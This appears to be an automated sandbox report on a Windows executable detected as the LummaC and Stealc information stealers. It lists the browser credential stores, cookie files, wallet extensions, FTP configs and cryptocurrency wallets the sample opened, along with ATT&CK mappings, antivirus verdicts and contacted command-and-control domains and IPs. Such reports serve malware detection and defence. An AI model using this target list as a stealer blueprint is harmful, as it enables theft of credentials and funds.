Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2255482021.0000000001579000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2255148116.0000000001579000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NYMPo215Qd.exe PID: 6508, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: NYMPo215Qd.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000003.2446320342.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2533061798.0000000000221000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe PID: 992, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	751 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
NYMPo215Qd.exe	50%	ReversingLabs	Win32.Trojan.Symmi
NYMPo215Qd.exe	100%	Avira	TR/Crypt.XPACK.Gen
NYMPo215Qd.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/H	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/x	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apiSD	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/pi0ZZ	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apilS	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/P	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apip	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/H	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/api)	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tacitglibbr.biz	104.21.50.161	true	false		high

Contacted URLs

Name	Malicious	Reputation
sordid-snaked.cyou	false	high
http://185.215.113.206/	false	high
deafeninggeh.biz	false	high
tacitglibbr.biz	false	high
diffuculttan.xyz	false	high
effecterectz.xyz	false	high
wrathful-jammy.cyou	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
https://tacitglibbr.biz/api	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
debonairnukk.xyz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apilS	NYMPo215Qd.exe, 00000000.00000003.2275341287.00000000015F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tacitglibbr.biz/	NYMPo215Qd.exe, 00000000.00000003.2275292478.0000000005E5E000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2278442082.00000000015E0000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2231660466.0000000005E5E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/P	NYMPo215Qd.exe, 00000000.00000003.2255073832.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206//	8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	NYMPo215Qd.exe, 00000000.00000003.2255482021.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2314288168.00000000015CD000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2255148116.0000000001579000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/pi0ZZ	NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpe	8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
